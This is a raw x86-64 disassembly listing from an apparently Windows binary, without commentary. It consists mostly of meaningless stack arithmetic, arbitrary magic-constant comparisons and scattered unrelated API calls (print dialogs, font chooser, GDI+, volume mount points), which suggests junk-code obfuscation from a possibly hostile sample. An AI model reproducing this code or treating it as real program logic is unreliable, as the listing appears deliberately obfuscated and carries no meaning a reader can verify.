mov ecx, dword [rsp + 0x2a3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x840], ax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x32], al
movzx eax, word [rsp + 0x844]
movzx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x848], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x36]
sub eax, ecx
mov byte [rsp + 0x33], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c60]
mov ecx, dword [rsp + 0x2a3c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x29d8], eax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
sar eax, cl
mov word [section..data], ax
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x84c], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
and eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x33]
sub eax, ecx
mov byte [rsp + 0x35], al
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
jmp 0x140004c9e
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4c00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov rdx, qword [rsp + 0x4b90]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
je 0x14000520b
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov dword [rsp + 0x2a44], eax
cmp dword [rsp + 0x2a44], 0x2d39
je 0x140005108
jmp 0x1400051ec
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x840]
sar eax, cl
movsx ecx, word [rsp + 0x84c]
mov dword [rsp + 0x2a48], ecx
mov rdx, qword [rsp + 0x4b70]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2a48]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x1400051ca
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
lea rax, [rsp + 0x167f8]
mov qword [rsp + 0x20], rax
mov r9d, 0x9d
lea r8, [rsp + 0x29f0]
mov edx, 0x2e
mov ecx, 0x9e
call qword [sym.imp.KERNEL32.dll_GetStringTypeA]
mov dword [rsp + 0x29c4], eax
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x30]
add eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
jmp 0x1400051ea
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x840], ax
jmp 0x14000520b
movzx r8d, byte [rsp + 0x37]
movzx edx, word [rsp + 0x844]
mov rax, qword [rsp + 0x4c08]
movzx ecx, byte [rax]
call fcn.1400f90e0
nop
mov eax, dword [rsp + 0x29bc]
mov dword [rsp + 0x2a4c], eax
movzx eax, word [rsp + 0x848]
mov dword [rsp + 0x2a50], eax
cmp dword [rsp + 0x2a50], 0x1f0
je 0x14000524b
cmp dword [rsp + 0x2a50], 0xc8e
je 0x140005333
jmp 0x140005420
lea rcx, [rsp + 0x16b70]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x2998], eax
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov edx, dword [rsp + 0x29bc]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x14000532e
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ba0], rax
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x2a54], al
cmp byte [rsp + 0x2a54], 0x72
je 0x140005316
cmp byte [rsp + 0x2a54], 0x95
je 0x1400052ef
jmp 0x14000532e
mov rcx, qword [rsp + 0x4af8]
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rax]
call fcn.1400f92c0
nop
jmp 0x14000532e
mov eax, dword [rsp + 0x2a4c]
mov ecx, dword [rsp + 0x29f0]
add ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
jmp 0x140005420
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov edx, dword [rsp + 0x29d8]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x14000538f
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov word [rsp + 0x854], ax
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
jmp 0x140005404
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov rdx, qword [rsp + 0x4b28]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jae 0x140005404
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x31]
sar eax, cl
mov byte [rsp + 0x36], al
mov rcx, qword [rsp + 0x4af0]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x2a30], eax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
and eax, ecx
mov word [rsp + 0x850], ax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x29d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x35]
add eax, ecx
mov byte [rsp + 0x34], al
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37], al
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x31]
or eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x848], ax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x840]
xor eax, ecx
mov word [rsp + 0x84c], ax
mov rax, qword [rsp + 0x4b20]
movzx ecx, al
mov rax, qword [rsp + 0x4bf8]
sar rax, cl
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x84c], ax
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x32], al
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4bd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ba0], rax
mov eax, dword [rsp + 0x2a4c]
movzx ecx, al
mov eax, dword [rsp + 0x2a20]
shl eax, cl
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b78]
movzx ecx, al
mov rax, qword [rsp + 0x4bf8]
sar rax, cl
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x32]
xor eax, ecx
mov byte [rsp + 0x37], al
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x840]
or eax, ecx
mov word [rsp + 0x84c], ax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x35]
and eax, ecx
mov byte [rsp + 0x33], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x2a4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4b28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4c00], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37], al
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x31]
add eax, ecx
mov byte [rsp + 0x34], al
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x84c]
add eax, ecx
mov word [rsp + 0x850], ax
mov eax, dword [rsp + 0x2a28]
sub eax, 0x23
mov dword [rsp + 0x2a28], eax
movzx eax, word [section..data]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4c00]
shl rax, cl
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
cmp dword [rsp + 0x2a28], 0x77bf
ja 0x140005420
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113004], ax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x854]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x30]
add ecx, edx
cmp eax, ecx
jge 0x140005a24
lea r8, [rsp + 0x167d0]
lea rdx, [rsp + 0x167e0]
lea rcx, [rsp + 0x4ae0]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov dword [rsp + 0x2a60], eax
cmp dword [rsp + 0x2a60], 0x1c46
je 0x1400059d7
cmp dword [rsp + 0x2a60], 0x3c3f
je 0x140005992
jmp 0x140005a24
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x35]
add eax, ecx
mov byte [rsp + 0x34], al
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx edx, byte [rsp + 0x37]
movzx ecx, word [rsp + 0x848]
call fcn.1400fa6b0
nop
jmp 0x140005a24
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x30], al
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2958]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
lea rcx, [rsp + 0x16e80]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x2a64], eax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b80]
shl rax, cl
mov qword [rsp + 0x4b78], rax
mov eax, dword [rsp + 0x2958]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4ca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
add eax, ecx
mov word [section..data], ax
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
add eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x854]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x30]
sub eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b20]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29f4]
add eax, 0x6b
mov dword [rsp + 0x29f4], eax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
xor eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37]
or eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
cmp dword [rsp + 0x29f4], 0x80fa
jne 0x140005a24
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x31]
add eax, ecx
movzx ecx, byte [rsp + 0x35]
movzx edx, byte [rsp + 0x34]
imul ecx, edx
cmp eax, ecx
jg 0x1400f8ddf
movzx eax, word [section..data]
mov dword [rsp + 0x2a68], eax
cmp dword [rsp + 0x2a68], 0
je 0x140005cab
jmp 0x140005d73
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140113008], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x4cb0], rax
cmp qword [rsp + 0x4cb0], 1
je 0x140005ceb
jmp 0x140005d30
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x4cb8], rax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
sub eax, ecx
mov word [rsp + 0x844], ax
jmp 0x140005d71
lea rcx, [rsp + 0x16a80]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x2a30], eax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x35]
xor eax, ecx
mov byte [rsp + 0x31], al
jmp 0x140005db7
lea r9, [rsp + 0x2a6c]
mov r8d, 0x9a
lea rdx, [rsp + 0x167f8]
mov rcx, qword [rsp + 0x4b00]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x2970], eax
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x84c]
sar eax, cl
mov word [rsp + 0x850], ax
mov dword [rsp + 0x2a70], 0x55ce
lea rax, [rsp + 0x33]
mov qword [rsp + 0x4cc0], rax
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x2a74], al
cmp byte [rsp + 0x2a74], 0x3e
je 0x140005de7
jmp 0x140005e32
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x37]
add eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x854]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0x844], ax
jmp 0x1400f8cc4
mov rax, qword [rsp + 0x4bf8]
mov qword [rsp + 0x4cc8], rax
movabs rax, 0x39fdefffffffffff
cmp qword [rsp + 0x4cc8], rax
je 0x140005e5b
jmp 0x1400f8b2e
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov qword [rsp + 0x4cd0], rax
lea rax, [rsp + 0x37]
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x31]
and eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x850]
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov edx, dword [rsp + 0x29d8]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x140005fc6
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x850]
movsx edx, word [rsp + 0x858]
add ecx, edx
cmp eax, ecx
je 0x140005f38
movzx eax, word [rsp + 0x854]
movzx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4c00]
mov qword [rsp + 0x4ce0], rax
movabs rax, 0x710d0976ca6d9d
cmp qword [rsp + 0x4ce0], rax
je 0x140005fab
movabs rax, 0x7efaba115a3b8d
cmp qword [rsp + 0x4ce0], rax
je 0x140005f72
jmp 0x140005fc4
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x2a58], eax
movzx r9d, byte [rsp + 0x30]
mov rax, qword [rsp + 0x4b40]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x854]
mov rax, qword [rsp + 0x4bc8]
movzx ecx, word [rax]
call fcn.1400faaa0
nop
jmp 0x140005fc4
mov eax, dword [rsp + 0x2a4c]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a20], eax
jmp 0x140006005
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4b80]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov qword [rsp + 0x4ce8], rax
mov eax, dword [rsp + 0x2980]
mov dword [rsp + 0x2a5c], eax
mov dword [rsp + 0x2a78], 0xcf
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x2a7c], al
cmp byte [rsp + 0x2a7c], 0
je 0x140006039
cmp byte [rsp + 0x2a7c], 9
je 0x1400f8a30
jmp 0x1400f8afb
mov rax, qword [rsp + 0x4ce8]
mov qword [rsp + 0x4cf0], rax
cmp qword [rsp + 0x4cf0], 0
je 0x140006071
movabs rax, 0x7731876f85be12
cmp qword [rsp + 0x4cf0], rax
je 0x1400f886e
jmp 0x1400f8986
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x84c]
and eax, ecx
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x4b70]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
je 0x140006179
movsx eax, byte [rsp + 0x37]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4b80]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14000610c
movzx eax, byte [rsp + 0x34]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36], al
mov rax, qword [rsp + 0x4c00]
mov qword [rsp + 0x4cf8], rax
movabs rax, 0x795be6b8e5e6e2
cmp qword [rsp + 0x4cf8], rax
je 0x140006156
movabs rax, 0x7af20d8d995f30
cmp qword [rsp + 0x4cf8], rax
je 0x140006146
jmp 0x140006179
movzx ecx, word [rsp + 0x850]
call fcn.1400fa180
nop
jmp 0x140006179
mov r8d, 0x6a
lea rdx, [rsp + 0x167f8]
lea rcx, str.C:GeometricalunvoicedBrackenExistentialpoulterer
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov qword [rsp + 0x4d00], rax
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x38], al
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x850]
and ecx, edx
cmp eax, ecx
jle 0x14000625d
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov dword [rsp + 0x2a80], eax
cmp dword [rsp + 0x2a80], 0x4c0
je 0x1400061d5
jmp 0x140006243
mov eax, dword [rsp + 0x2a20]
